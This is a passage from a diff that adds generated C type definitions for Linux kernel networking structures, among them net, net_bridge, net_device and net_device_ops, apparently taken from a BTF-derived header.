*run_array[2]; + struct bpf_prog *progs[2]; + struct list_head links[2]; +}; + +struct uevent_sock; + +struct net_generic; + +struct net { + refcount_t passive; + spinlock_t rules_mod_lock; + unsigned int dev_base_seq; + u32 ifindex; + spinlock_t nsid_lock; + atomic_t fnhe_genid; + struct list_head list; + struct list_head exit_list; + struct llist_node cleanup_list; + struct key_tag *key_domain; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct idr netns_ids; + struct ns_common ns; + struct ref_tracker_dir refcnt_tracker; + struct ref_tracker_dir notrefcnt_tracker; + struct list_head dev_base_head; + struct proc_dir_entry *proc_net; + struct proc_dir_entry *proc_net_stat; + struct ctl_table_set sysctls; + struct sock *rtnl; + struct sock *genl_sock; + struct uevent_sock *uevent_sock; + struct hlist_head *dev_name_head; + struct hlist_head *dev_index_head; + struct xarray dev_by_index; + struct raw_notifier_head netdev_chain; + u32 hash_mix; + struct net_device *loopback_dev; + struct list_head rules_ops; + struct netns_core core; + struct netns_mib mib; + struct netns_packet packet; + struct netns_unix unx; + struct netns_nexthop nexthop; + long: 64; + long: 64; + struct netns_ipv4 ipv4; + struct netns_ipv6 ipv6; + struct netns_nf nf; + struct netns_ct ct; + struct netns_nftables nft; + struct net_generic __attribute__((btf_type_tag("rcu"))) *gen; + struct netns_bpf bpf; + u64 net_cookie; + struct sock *diag_nlsk; + long: 64; + long: 64; +}; + +struct rtable { + struct dst_entry dst; + int rt_genid; + unsigned int rt_flags; + __u16 rt_type; + __u8 rt_is_input; + __u8 rt_uses_gateway; + int rt_iif; + u8 rt_gw_family; + union { + __be32 rt_gw4; + struct in6_addr rt_gw6; + }; + u32 rt_mtu_locked: 1; + u32 rt_pmtu: 31; +}; + +struct rt6_info { + struct dst_entry dst; + struct fib6_info __attribute__((btf_type_tag("rcu"))) *from; + int sernum; + struct rt6key rt6i_dst; + struct rt6key rt6i_src; + struct in6_addr rt6i_gateway; + struct inet6_dev *rt6i_idev; + u32 rt6i_flags; + unsigned short rt6i_nfheader_len; +}; + +struct net_bridge_vlan; + +struct net_bridge_mcast { + struct net_bridge *br; + struct net_bridge_vlan *vlan; + u32 multicast_last_member_count; + u32 multicast_startup_query_count; + u8 multicast_querier; + u8 multicast_igmp_version; + u8 multicast_router; + u8 multicast_mld_version; + unsigned long multicast_last_member_interval; + unsigned long multicast_membership_interval; + unsigned long multicast_querier_interval; + unsigned long multicast_query_interval; + unsigned long multicast_query_response_interval; + unsigned long multicast_startup_query_interval; + struct hlist_head ip4_mc_router_list; + struct timer_list ip4_mc_router_timer; + struct bridge_mcast_other_query ip4_other_query; + struct bridge_mcast_own_query ip4_own_query; + struct bridge_mcast_querier ip4_querier; + struct hlist_head ip6_mc_router_list; + struct timer_list ip6_mc_router_timer; + struct bridge_mcast_other_query ip6_other_query; + struct bridge_mcast_own_query ip6_own_query; + struct bridge_mcast_querier ip6_querier; +}; + +struct net_bridge { + spinlock_t lock; + spinlock_t hash_lock; + struct hlist_head frame_type_list; + struct net_device *dev; + unsigned long options; + struct rhashtable fdb_hash_tbl; + struct list_head port_list; + union { + struct rtable fake_rtable; + struct rt6_info fake_rt6_info; + }; + u16 group_fwd_mask; + u16 group_fwd_mask_required; + bridge_id designated_root; + bridge_id bridge_id; + unsigned char topology_change; + unsigned char topology_change_detected; + u16 root_port; + unsigned long max_age; + unsigned long hello_time; + unsigned long forward_delay; + unsigned long ageing_time; + unsigned long bridge_max_age; + unsigned long bridge_hello_time; + unsigned long bridge_forward_delay; + unsigned long bridge_ageing_time; + u32 root_path_cost; + u8 group_addr[6]; + enum { + BR_NO_STP = 0, + BR_KERNEL_STP = 1, + BR_USER_STP = 2, + } stp_enabled; + struct net_bridge_mcast multicast_ctx; + struct bridge_mcast_stats __attribute__((btf_type_tag("percpu"))) *mcast_stats; + u32 hash_max; + spinlock_t multicast_lock; + struct rhashtable mdb_hash_tbl; + struct rhashtable sg_port_tbl; + struct hlist_head mcast_gc_list; + struct hlist_head mdb_list; + struct work_struct mcast_gc_work; + struct timer_list hello_timer; + struct timer_list tcn_timer; + struct timer_list topology_change_timer; + struct delayed_work gc_work; + struct kobject *ifobj; + u32 auto_cnt; + atomic_t fdb_n_learned; + u32 fdb_max_learned; + struct hlist_head fdb_list; +}; + +union net_bridge_eht_addr { + __be32 ip4; + struct in6_addr ip6; +}; + +struct net_bridge_fdb_key { + mac_addr addr; + u16 vlan_id; +}; + +struct net_bridge_fdb_entry { + struct rhash_head rhnode; + struct net_bridge_port *dst; + struct net_bridge_fdb_key key; + struct hlist_node fdb_node; + unsigned long flags; + long: 64; + long: 64; + unsigned long updated; + unsigned long used; + struct callback_head rcu; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct net_bridge_fdb_flush_desc { + unsigned long flags; + unsigned long flags_mask; + int port_ifindex; + u16 vlan_id; +}; + +struct net_bridge_port_group; + +struct net_bridge_group_eht_host { + struct rb_node rb_node; + union net_bridge_eht_addr h_addr; + struct hlist_head set_entries; + unsigned int num_entries; + unsigned char filter_mode; + struct net_bridge_port_group *pg; +}; + +struct net_bridge_mcast_gc { + struct hlist_node gc_node; + void (*destroy)(struct net_bridge_mcast_gc *); +}; + +struct net_bridge_group_eht_set { + struct rb_node rb_node; + union net_bridge_eht_addr src_addr; + struct rb_root entry_tree; + struct timer_list timer; + struct net_bridge_port_group *pg; + struct net_bridge *br; + struct net_bridge_mcast_gc mcast_gc; +}; + +struct net_bridge_group_eht_set_entry { + struct rb_node rb_node; + struct hlist_node host_list; + union net_bridge_eht_addr h_addr; + struct timer_list timer; + struct net_bridge *br; + struct net_bridge_group_eht_set *eht_set; + struct net_bridge_group_eht_host *h_parent; + struct net_bridge_mcast_gc mcast_gc; +}; + +struct net_bridge_group_src { + struct hlist_node node; + struct br_ip addr; + struct net_bridge_port_group *pg; + u8 flags; + u8 src_query_rexmit_cnt; + struct timer_list timer; + struct net_bridge *br; + struct net_bridge_mcast_gc mcast_gc; + struct callback_head rcu; +}; + +struct net_bridge_mcast_port { + struct net_bridge_port *port; + struct net_bridge_vlan *vlan; + struct bridge_mcast_own_query ip4_own_query; + struct timer_list ip4_mc_router_timer; + struct hlist_node ip4_rlist; + struct bridge_mcast_own_query ip6_own_query; + struct timer_list ip6_mc_router_timer; + struct hlist_node ip6_rlist; + unsigned char multicast_router; + u32 mdb_n_entries; + u32 mdb_max_entries; +}; + +struct net_bridge_mdb_entry { + struct rhash_head rhnode; + struct net_bridge *br; + struct net_bridge_port_group __attribute__((btf_type_tag("rcu"))) *ports; + struct br_ip addr; + bool host_joined; + struct timer_list timer; + struct hlist_node mdb_node; + struct net_bridge_mcast_gc mcast_gc; + struct callback_head rcu; +}; + +struct net_bridge_port { + struct net_bridge *br; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct list_head list; + unsigned long flags; + struct net_bridge_port __attribute__((btf_type_tag("rcu"))) *backup_port; + u32 backup_nhid; + u8 priority; + u8 state; + u16 port_no; + unsigned char topology_change_ack; + unsigned char config_pending; + port_id port_id; + port_id designated_port; + bridge_id designated_root; + bridge_id designated_bridge; + u32 path_cost; + u32 designated_cost; + unsigned long designated_age; + struct timer_list forward_delay_timer; + struct timer_list hold_timer; + struct timer_list message_age_timer; + struct kobject kobj; + struct callback_head rcu; + struct net_bridge_mcast_port multicast_ctx; + struct bridge_mcast_stats __attribute__((btf_type_tag("percpu"))) *mcast_stats; + u32 multicast_eht_hosts_limit; + u32 multicast_eht_hosts_cnt; + struct hlist_head mglist; + char sysfs_name[16]; + u16 group_fwd_mask; + u16 backup_redirected_cnt; + struct bridge_stp_xstats stp_xstats; +}; + +struct net_bridge_port_group_sg_key { + struct net_bridge_port *port; + struct br_ip addr; +}; + +struct net_bridge_port_group { + struct net_bridge_port_group __attribute__((btf_type_tag("rcu"))) *next; + struct net_bridge_port_group_sg_key key; + unsigned char eth_addr[6]; + unsigned char flags; + unsigned char filter_mode; + unsigned char grp_query_rexmit_cnt; + unsigned char rt_protocol; + struct hlist_head src_list; + unsigned int src_ents; + struct timer_list timer; + struct timer_list rexmit_timer; + struct hlist_node mglist; + struct rb_root eht_set_tree; + struct rb_root eht_host_tree; + struct rhash_head rhnode; + struct net_bridge_mcast_gc mcast_gc; + struct callback_head rcu; +}; + +struct pcpu_sw_netstats; + +struct net_bridge_vlan { + struct rhash_head vnode; + struct rhash_head tnode; + u16 vid; + u16 flags; + u16 priv_flags; + u8 state; + struct pcpu_sw_netstats __attribute__((btf_type_tag("percpu"))) *stats; + union { + struct net_bridge *br; + struct net_bridge_port *port; + }; + union { + refcount_t refcnt; + struct net_bridge_vlan *brvlan; + }; + struct br_tunnel_info tinfo; + union { + struct net_bridge_mcast br_mcast_ctx; + struct net_bridge_mcast_port port_mcast_ctx; + }; + u16 msti; + struct list_head vlist; + struct callback_head rcu; +}; + +struct net_bridge_vlan_group { + struct rhashtable vlan_hash; + struct rhashtable tunnel_hash; + struct list_head vlan_list; + u16 num_vlans; + u16 pvid; + u8 pvid_state; +}; + +struct netdev_tc_txq { + u16 count; + u16 offset; +}; + +typedef rx_handler_result_t rx_handler_func_t(struct sk_buff **); + +struct net_device_stats { + union { + unsigned long rx_packets; + atomic_long_t __rx_packets; + }; + union { + unsigned long tx_packets; + atomic_long_t __tx_packets; + }; + union { + unsigned long rx_bytes; + atomic_long_t __rx_bytes; + }; + union { + unsigned long tx_bytes; + atomic_long_t __tx_bytes; + }; + union { + unsigned long rx_errors; + atomic_long_t __rx_errors; + }; + union { + unsigned long tx_errors; + atomic_long_t __tx_errors; + }; + union { + unsigned long rx_dropped; + atomic_long_t __rx_dropped; + }; + union { + unsigned long tx_dropped; + atomic_long_t __tx_dropped; + }; + union { + unsigned long multicast; + atomic_long_t __multicast; + }; + union { + unsigned long collisions; + atomic_long_t __collisions; + }; + union { + unsigned long rx_length_errors; + atomic_long_t __rx_length_errors; + }; + union { + unsigned long rx_over_errors; + atomic_long_t __rx_over_errors; + }; + union { + unsigned long rx_crc_errors; + atomic_long_t __rx_crc_errors; + }; + union { + unsigned long rx_frame_errors; + atomic_long_t __rx_frame_errors; + }; + union { + unsigned long rx_fifo_errors; + atomic_long_t __rx_fifo_errors; + }; + union { + unsigned long rx_missed_errors; + atomic_long_t __rx_missed_errors; + }; + union { + unsigned long tx_aborted_errors; + atomic_long_t __tx_aborted_errors; + }; + union { + unsigned long tx_carrier_errors; + atomic_long_t __tx_carrier_errors; + }; + union { + unsigned long tx_fifo_errors; + atomic_long_t __tx_fifo_errors; + }; + union { + unsigned long tx_heartbeat_errors; + atomic_long_t __tx_heartbeat_errors; + }; + union { + unsigned long tx_window_errors; + atomic_long_t __tx_window_errors; + }; + union { + unsigned long rx_compressed; + atomic_long_t __rx_compressed; + }; + union { + unsigned long tx_compressed; + atomic_long_t __tx_compressed; + }; +}; + +struct sfp_bus; + +struct udp_tunnel_nic; + +struct net_device_ops; + +struct xps_dev_maps; + +struct pcpu_lstats; + +struct pcpu_dstats; + +struct netdev_rx_queue; + +struct netdev_name_node; + +struct xdp_metadata_ops; + +struct xsk_tx_metadata_ops; + +struct net_device_core_stats; + +struct xdp_dev_bulk_queue; + +struct netdev_stat_ops; + +struct netdev_queue_mgmt_ops; + +struct phy_link_topology; + +struct udp_tunnel_nic_info; + +struct rtnl_hw_stats64; + +struct net_device { + __u8 __cacheline_group_begin__net_device_read_tx[0]; + union { + struct { + unsigned long priv_flags: 32; + unsigned long lltx: 1; + }; + struct { + unsigned long priv_flags: 32; + unsigned long lltx: 1; + } priv_flags_fast; + }; + const struct net_device_ops *netdev_ops; + const struct header_ops *header_ops; + struct netdev_queue *_tx; + netdev_features_t gso_partial_features; + unsigned int real_num_tx_queues; + unsigned int gso_max_size; + unsigned int gso_ipv4_max_size; + u16 gso_max_segs; + s16 num_tc; + unsigned int mtu; + unsigned short needed_headroom; + struct netdev_tc_txq tc_to_txq[16]; + struct xps_dev_maps __attribute__((btf_type_tag("rcu"))) *xps_maps[2]; + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *nf_hooks_egress; + struct bpf_mprog_entry __attribute__((btf_type_tag("rcu"))) *tcx_egress; + __u8 __cacheline_group_end__net_device_read_tx[0]; + __u8 __cacheline_group_begin__net_device_read_txrx[0]; + union { + struct pcpu_lstats __attribute__((btf_type_tag("percpu"))) *lstats; + struct pcpu_sw_netstats __attribute__((btf_type_tag("percpu"))) *tstats; + struct pcpu_dstats __attribute__((btf_type_tag("percpu"))) *dstats; + }; + unsigned long state; + unsigned int flags; + unsigned short hard_header_len; + netdev_features_t features; + struct inet6_dev __attribute__((btf_type_tag("rcu"))) *ip6_ptr; + __u8 __cacheline_group_end__net_device_read_txrx[0]; + __u8 __cacheline_group_begin__net_device_read_rx[0]; + struct bpf_prog __attribute__((btf_type_tag("rcu"))) *xdp_prog; + struct list_head ptype_specific; + int ifindex; + unsigned int real_num_rx_queues; + struct netdev_rx_queue *_rx; + unsigned long gro_flush_timeout; + u32 napi_defer_hard_irqs; + unsigned int gro_max_size; + unsigned int gro_ipv4_max_size; + rx_handler_func_t __attribute__((btf_type_tag("rcu"))) *rx_handler; + void __attribute__((btf_type_tag("rcu"))) *rx_handler_data; + possible_net_t nd_net; + struct bpf_mprog_entry __attribute__((btf_type_tag("rcu"))) *tcx_ingress; + __u8 __cacheline_group_end__net_device_read_rx[0]; + char name[16]; + struct netdev_name_node *name_node; + struct dev_ifalias __attribute__((btf_type_tag("rcu"))) *ifalias; + unsigned long mem_end; + unsigned long mem_start; + unsigned long base_addr; + struct list_head dev_list; + struct list_head napi_list; + struct list_head unreg_list; + struct list_head close_list; + struct list_head ptype_all; + struct { + struct list_head upper; + struct list_head lower; + } adj_list; + xdp_features_t xdp_features; + const struct xdp_metadata_ops *xdp_metadata_ops; + const struct xsk_tx_metadata_ops *xsk_tx_metadata_ops; + unsigned short gflags; + unsigned short needed_tailroom; + netdev_features_t hw_features; + netdev_features_t wanted_features; + netdev_features_t vlan_features; + netdev_features_t hw_enc_features; + netdev_features_t mpls_features; + unsigned int min_mtu; + unsigned int max_mtu; + unsigned short type; + unsigned char min_header_len; + unsigned char name_assign_type; + int group; + struct net_device_stats stats; + struct net_device_core_stats __attribute__((btf_type_tag("percpu"))) *core_stats; + atomic_t carrier_up_count; + atomic_t carrier_down_count; + const struct ethtool_ops *ethtool_ops; + const struct ndisc_ops *ndisc_ops; + unsigned int operstate; + unsigned char link_mode; + unsigned char if_port; + unsigned char dma; + unsigned char perm_addr[32]; + unsigned char addr_assign_type; + unsigned char addr_len; + unsigned char upper_level; + unsigned char lower_level; + unsigned short neigh_priv_len; + unsigned short dev_id; + unsigned short dev_port; + int irq; + u32 priv_len; + spinlock_t addr_list_lock; + struct netdev_hw_addr_list uc; + struct netdev_hw_addr_list mc; + struct netdev_hw_addr_list dev_addrs; + struct kset *queues_kset; + struct list_head unlink_list; + unsigned int promiscuity; + unsigned int allmulti; + bool uc_promisc; + unsigned char nested_level; + struct in_device __attribute__((btf_type_tag("rcu"))) *ip_ptr; + struct wireless_dev *ieee80211_ptr; + const unsigned char *dev_addr; + unsigned int num_rx_queues; + unsigned int xdp_zc_max_segs; + struct netdev_queue __attribute__((btf_type_tag("rcu"))) *ingress_queue; + struct nf_hook_entries __attribute__((btf_type_tag("rcu"))) *nf_hooks_ingress; + unsigned char broadcast[32]; + struct cpu_rmap *rx_cpu_rmap; + struct hlist_node index_hlist; + unsigned int num_tx_queues; + struct Qdisc __attribute__((btf_type_tag("rcu"))) *qdisc; + unsigned int tx_queue_len; + spinlock_t tx_global_lock; + struct xdp_dev_bulk_queue __attribute__((btf_type_tag("percpu"))) *xdp_bulkq; + struct timer_list watchdog_timer; + int watchdog_timeo; + u32 proto_down_reason; + struct list_head todo_list; + int __attribute__((btf_type_tag("percpu"))) *pcpu_refcnt; + struct ref_tracker_dir refcnt_tracker; + struct list_head link_watch_list; + u8 reg_state; + bool dismantle; + enum { + RTNL_LINK_INITIALIZED = 0, + RTNL_LINK_INITIALIZING = 1, + } rtnl_link_state: 16; + bool needs_free_netdev; + void (*priv_destructor)(struct net_device *); + void *ml_priv; + enum netdev_ml_priv_type ml_priv_type; + enum netdev_stat_type pcpu_stat_type: 8; + struct device dev; + const struct attribute_group *sysfs_groups[4]; + const struct attribute_group *sysfs_rx_queue_group; + const struct rtnl_link_ops *rtnl_link_ops; + const struct netdev_stat_ops *stat_ops; + const struct netdev_queue_mgmt_ops *queue_mgmt_ops; + unsigned int tso_max_size; + u16 tso_max_segs; + u8 prio_tc_map[16]; + struct phy_link_topology *link_topo; + struct phy_device *phydev; + struct sfp_bus *sfp_bus; + struct lock_class_key *qdisc_tx_busylock; + bool proto_down; + bool threaded; + unsigned long see_all_hwtstamp_requests: 1; + unsigned long change_proto_down: 1; + unsigned long netns_local: 1; + unsigned long fcoe_mtu: 1; + struct list_head net_notifier_list; + const struct udp_tunnel_nic_info *udp_tunnel_nic_info; + struct udp_tunnel_nic *udp_tunnel_nic; + struct ethtool_netdev_state *ethtool; + struct bpf_xdp_entity xdp_state[3]; + u8 dev_addr_shadow[32]; + netdevice_tracker linkwatch_dev_tracker; + netdevice_tracker watchdog_dev_tracker; + netdevice_tracker dev_registered_tracker; + struct rtnl_hw_stats64 *offload_xstats_l3; + struct devlink_port *devlink_port; + struct hlist_head page_pools; + struct dim_irq_moder *irq_moder; + long: 64; + long: 64; + long: 64; + long: 64; + u8 priv[0]; +}; + +struct net_device_core_stats { + unsigned long rx_dropped; + unsigned long tx_dropped; + unsigned long rx_nohandler; + unsigned long rx_otherhost_dropped; +}; + +struct net_device_devres { + struct net_device *ndev; +}; + +struct netdev_bpf; + +struct skb_shared_hwtstamps; + +struct net_device_ops { + int (*ndo_init)(struct net_device *); + void (*ndo_uninit)(struct net_device *); + int (*ndo_open)(struct net_device *); + int (*ndo_stop)(struct net_device *); + netdev_tx_t (*ndo_start_xmit)(struct sk_buff *, struct net_device *); + netdev_features_t (*ndo_features_check)(struct sk_buff *, struct net_device *, netdev_features_t); + u16 (*ndo_select_queue)(struct net_device *, struct sk_buff *, struct net_device *); + void (*ndo_change_rx_flags)(struct net_device *, int); + void (*ndo_set_rx_mode)(struct net_device *); + int (*ndo_set_mac_address)(struct net_device *, void *); + int (*ndo_validate_addr)(struct net_device *); + int (*ndo_do_ioctl)(struct net_device *, struct ifreq *, int); + int (*ndo_eth_ioctl)(struct net_device *, struct ifreq *, int); + int (*ndo_siocbond)(struct net_device *, struct ifreq *, int); + int (*ndo_siocwandev)(struct net_device *, struct if_settings *); + int (*ndo_siocdevprivate)(struct net_device *, struct ifreq *, void __attribute__((btf_type_tag("user"))) *, int); + int (*ndo_set_config)(struct net_device *, struct ifmap *); + int (*ndo_change_mtu)(struct net_device *, int); + int (*ndo_neigh_setup)(struct net_device *, struct neigh_parms *); + void (*ndo_tx_timeout)(struct net_device *, unsigned int); + void (*ndo_get_stats64)(struct net_device *, struct rtnl_link_stats64 *); + bool (*ndo_has_offload_stats)(const struct net_device *, int); + int (*ndo_get_offload_stats)(int, const struct net_device *, void *); + struct net_device_stats * (*ndo_get_stats)(struct net_device *); + int (*ndo_vlan_rx_add_vid)(struct net_device *, __be16, u16); + int (*ndo_vlan_rx_kill_vid)(struct net_device *, __be16, u16); + int (*ndo_set_vf_mac)(struct net_device *, int, u8 *); + int (*ndo_set_vf_vlan)(struct net_device *, int, u16, u8, __be16); + int (*ndo_set_vf_rate)(struct net_device *, int, int, int); + int (*ndo_set_vf_spoofchk)(struct net_device *, int, bool); + int (*ndo_set_vf_trust)(struct net_device *, int, bool); + int (*ndo_get_vf_config)(struct net_device *, int, struct ifla_vf_info *); + int (*ndo_set_vf_link_state)(struct net_device *, int, int); + int (*ndo_get_vf_stats)(struct net_device *, int, struct ifla_vf_stats *); + int (*ndo_set_vf_port)(struct net_device *, int, struct nlattr **); + int (*ndo_get_vf_port)(struct net_device *, int, struct sk_buff *); + int (*ndo_get_vf_guid)(struct net_device *, int, struct ifla_vf_guid *, struct ifla_vf_guid *); + int (*ndo_set_vf_guid)(struct net_device *, int, u64, int); + int (*ndo_set_vf_rss_query_en)(struct net_device *, int, bool); + int (*ndo_setup_tc)(struct net_device *, enum tc_setup_type, void *); + int (*ndo_rx_flow_steer)(struct net_device *, const struct sk_buff *, u16, u32); + int (*ndo_add_slave)(struct net_device *, struct net_device *, struct netlink_ext_ack *); + int (*ndo_del_slave)(struct net_device *, struct net_device *); + struct net_device * (*ndo_get_xmit_slave)(struct net_device *, struct sk_buff *, bool); + struct net_device * (*ndo_sk_get_lower_dev)(struct net_device *, struct sock *); + netdev_features_t (*ndo_fix_features)(struct net_device *, netdev_features_t); + int (*ndo_set_features)(struct net_device *, netdev_features_t); + int (*ndo_neigh_construct)(struct net_device *, struct neighbour *); + void (*ndo_neigh_destroy)(struct net_device *, struct neighbour *); + int (*ndo_fdb_add)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, u16, struct netlink_ext_ack *); + int (*ndo_fdb_del)(struct ndmsg *, struct nlattr **, struct net_device *, const unsigned char *, u16, struct netlink_ext_ack *); + int (*ndo_fdb_del_bulk)(struct nlmsghdr *, struct net_device *, struct netlink_ext_ack *); + int (*ndo_fdb_dump)(struct sk_buff *, struct netlink_callback *, struct net_device *, struct net_device *, int *); + int (*ndo_fdb_get)(struct sk_buff *, struct nlattr **, struct net_device *, const unsigned char *, u16, u32, u32, struct netlink_ext_ack *); + int (*ndo_mdb_add)(struct net_device *, struct nlattr **, u16, struct netlink_ext_ack *); + int (*ndo_mdb_del)(struct net_device *, struct nlattr **, struct netlink_ext_ack *); + int (*ndo_mdb_del_bulk)(struct net_device *, struct nlattr **, struct netlink_ext_ack *); + int (*ndo_mdb_dump)(struct net_device *, struct sk_buff *, struct netlink_callback *); + int (*ndo_mdb_get)(struct net_device *, struct nlattr **, u32, u32, struct netlink_ext_ack *); + int (*ndo_bridge_setlink)(struct net_device *, struct nlmsghdr *, u16, struct netlink_ext_ack *); + int (*ndo_bridge_getlink)(struct sk_buff *, u32, u32, struct net_device *, u32, int); + int (*ndo_bridge_dellink)(struct net_device *, struct nlmsghdr *, u16); + int (*ndo_change_carrier)(struct net_device *, bool); + int (*ndo_get_phys_port_id)(struct net_device *, struct netdev_phys_item_id *); + int (*ndo_get_port_parent_id)(struct net_device *, struct netdev_phys_item_id *); + int (*ndo_get_phys_port_name)(struct net_device *, char *, size_t); + void * (*ndo_dfwd_add_station)(struct net_device *, struct net_device *); + void (*ndo_dfwd_del_station)(struct net_device *, void *); + int (*ndo_set_tx_maxrate)(struct net_device *, int, u32); + int (*ndo_get_iflink)(const struct net_device *); + int (*ndo_fill_metadata_dst)(struct net_device *, struct sk_buff *); + void (*ndo_set_rx_headroom)(struct net_device *, int); + int (*ndo_bpf)(struct net_device *, struct netdev_bpf *); + int (*ndo_xdp_xmit)(struct net_device *, int, struct xdp_frame **, u32); + struct net_device * (*ndo_xdp_get_xmit_slave)(struct net_device *, struct xdp_buff *); + int (*ndo_xsk_wakeup)(struct net_device *, u32, u32); + int (*ndo_tunnel_ctl)(struct net_device *, struct ip_tunnel_parm_kern *, int); + struct net_device * (*ndo_get_peer_dev)(struct net_device *); + int (*ndo_fill_forward_path)(struct net_device_path_ctx *, struct net_device_path *); + ktime_t (*ndo_get_tstamp)(struct net_device *, const struct skb_shared_hwtstamps *, bool); + int (*ndo_hwtstamp_get)(struct net_device *, struct kernel_hwtstamp_config *); + int (*ndo_hwtstamp_set)(struct net_device *, struct kernel_hwtstamp_config *, struct netlink_ext_ack *); +}; + +struct net_device_path { + enum net_device_path_type type; + const struct net_device *dev; + union { + struct { + u16 id; + __be16 proto; + u8 h_dest[6]; + } encap; + struct { + enum { + DEV_PATH_BR_VLAN_KEEP = 0, + DEV_PATH_BR_VLAN_TAG = 1, + DEV_PATH_BR_VLAN_UNTAG = 2, + DEV_PATH_BR_VLAN_UNTAG_HW = 3, + } vlan_mode; + u16 vlan_id; + __be16 vlan_proto; + } bridge; + struct { + int port; + u16 proto; + } dsa; + struct { + u8 wdma_idx; + u8 queue; + u16 wcid; + u8 bss; + u8 amsdu; + } mtk_wdma; + }; +}; + +struct net_device_path_ctx { + const struct net_device *dev; + u8 daddr[6]; + int num_vlans; + struct { + u16 id; + __be16 proto; + } vlan[2]; +}; + +struct net_device_path_stack { + int num_paths; + struct net_device_path path[5]; +}; + +struct net_devmem_dmabuf_binding { + struct dma_buf *dmabuf; + struct dma_buf_attachment *attachment; + struct sg_table *sgt; + struct net_device *dev; + struct gen_pool *chunk_pool; + refcount_t ref; + struct list_head list; + struct xarray bound_rxqs; + u32 id; +}; + +struct net_failover_info { + struct net_device __attribute__((btf_type_tag("rcu"))) *primary_dev; + struct net_device __attribute__((btf_type_tag("rcu"))) *standby_dev; + struct rtnl_link_stats64 primary_stats; + struct rtnl_link_stats64 standby_stats; + struct rtnl_link_stats64 failover_stats; + spinlock_t stats_lock; +}; + +struct net_fill_args { + u32 portid; + u32 seq; + int flags; + int cmd; + int nsid; + bool add_ref; + int ref_nsid; +}; + +struct net_generic { + union { + struct { + unsigned int len; + struct callback_head rcu; + } s; + struct { + struct {} __empty_ptr; + void *ptr[0]; + }; + }; +}; + +struct offload_callbacks { + struct sk_buff * (*gso_segment)(struct sk_buff *, netdev_features_t); + struct sk_buff * (*gro_receive)(struct list_head *, struct sk_buff *); + int (*gro_complete)(struct sk_buff *, int); +}; + +struct packet_offload { + __be16 type; + u16 priority; + struct offload_callbacks callbacks; + struct list_head list; +}; + +struct net_offload { + struct offload_callbacks callbacks; + unsigned int flags; + u32 secret; +}; + +struct net_protocol { + int (*handler)(struct sk_buff *); + int (*err_handler)(struct sk_buff *, u32); + unsigned int no_policy: 1; + unsigned int icmp_strict_tag_validation: 1; + u32 secret; +}; + +struct rps_sock_flow_table; + +struct net_hotdata { + struct packet_offload ip_packet_offload; + struct net_offload tcpv4_offload; + struct net_protocol tcp_protocol; + struct net_offload udpv4_offload; + struct net_protocol udp_protocol; + struct packet_offload ipv6_packet_offload; + struct net_offload tcpv6_offload; + struct inet6_protocol tcpv6_protocol; + struct inet6_protocol udpv6_protocol; + struct net_offload udpv6_offload; + struct list_head offload_base; + struct list_head ptype_all; + struct kmem_cache *skbuff_cache; + struct kmem_cache *skbuff_fclone_cache; + struct kmem_cache *skb_small_head_cache; + struct rps_sock_flow_table __attribute__((btf_type_tag("rcu"))) *rps_sock_flow_table; + u32 rps_cpu_mask; + int gro_normal_batch; + int netdev_budget; + int netdev_budget_usecs; + int tstamp_prequeue; + int max_backlog; + int dev_tx_weight; + int dev_rx_weight; + int sysctl_max_skb_frags; + int sysctl_skb_defer_max; + int sysctl_mem_pcpu_rsv; +}; + +struct net_iov { + unsigned long __unused_padding; + unsigned long pp_magic; + struct page_pool *pp; + struct dmabuf_genpool_chunk_owner *owner; + unsigned long dma_addr; + atomic_long_t pp_ref_count; +}; + +struct net_packet_attrs { + const unsigned char *src; + const unsigned char *dst; + u32 ip_src; + u32 ip_dst; + bool tcp; + u16 sport; + u16 dport; + int timeout; + int size; + int max_size; + u8 id; + u16 queue_mapping; +}; + +struct net_proto_family { + int family; + int (*create)(struct net *, struct socket *, int, int); + struct module *owner; +}; + +struct net_rate_estimator { + struct gnet_stats_basic_sync *bstats; + spinlock_t *stats_lock; + bool running; + struct gnet_stats_basic_sync __attribute__((btf_type_tag("percpu"))) *cpu_bstats; + u8 ewma_log; + u8 intvl_log; + seqcount_t seq; + u64 last_packets; + u64 last_bytes; + u64 avpps; + u64 avbps; + unsigned long next_jiffies; + struct timer_list timer; + struct callback_head rcu; +}; + +struct net_test { + char name[32]; + int (*fn)(struct net_device *); +}; + +struct packet_type { + __be16 type; + bool ignore_outgoing; + struct net_device *dev; + netdevice_tracker dev_tracker; + int (*func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); + void (*list_func)(struct list_head *, struct packet_type *, struct net_device *); + bool (*id_match)(struct packet_type *, struct sock *); + struct net *af_packet_net; + void *af_packet_priv; + struct list_head list; +}; + +struct net_test_priv { + struct net_packet_attrs *packet; + struct packet_type pt; + struct completion comp; + int double_vlan; + int vlan_id; + int ok; +}; + +struct netconfmsg { + __u8 ncm_family; +}; + +struct netdev_adjacent { + struct net_device *dev; + netdevice_tracker dev_tracker; + bool master; + bool ignore; + u16 ref_nr; + void *private; + struct list_head list; + struct callback_head rcu; +}; + +struct netdev_bonding_info { + ifslave slave; + ifbond master; +}; + +struct xsk_buff_pool; + +struct netdev_bpf { + enum bpf_netdev_command command; + union { + struct { + u32 flags; + struct bpf_prog *prog; + struct netlink_ext_ack *extack; + }; + struct { + struct bpf_offloaded_map *offmap; + }; + struct { + struct xsk_buff_pool *pool; + u16 queue_id; + } xsk; + }; +}; + +struct netdev_hw_addr { + struct list_head list; + struct rb_node node; + unsigned char addr[32]; + unsigned char type; + bool global_use; + int sync_cnt; + int refcount; + int synced; + struct callback_head callback_head; +}; + +struct netdev_lag_lower_state_info { + u8 link_up: 1; + u8 tx_enabled: 1; +}; + +struct netdev_lag_upper_info { + enum netdev_lag_tx_type tx_type; + enum netdev_lag_hash hash_type; +}; + +struct netdev_name_node { + struct hlist_node hlist; + struct list_head list; + struct net_device *dev; + const char *name; + struct callback_head rcu; +}; + +struct netdev_nested_priv { + unsigned char flags; + void *data; +}; + +struct netdev_net_notifier { + struct list_head list; + struct notifier_block *nb; +}; + +struct netdev_nl_dump_ctx { + unsigned long ifindex; + unsigned int rxq_idx; + unsigned int txq_idx; + unsigned int napi_id; +}; + +struct netdev_notifier_info { + struct net_device *dev; + struct netlink_ext_ack *extack; +}; + +struct netdev_notifier_bonding_info { + struct netdev_notifier_info info; + struct netdev_bonding_info bonding_info; +}; + +struct 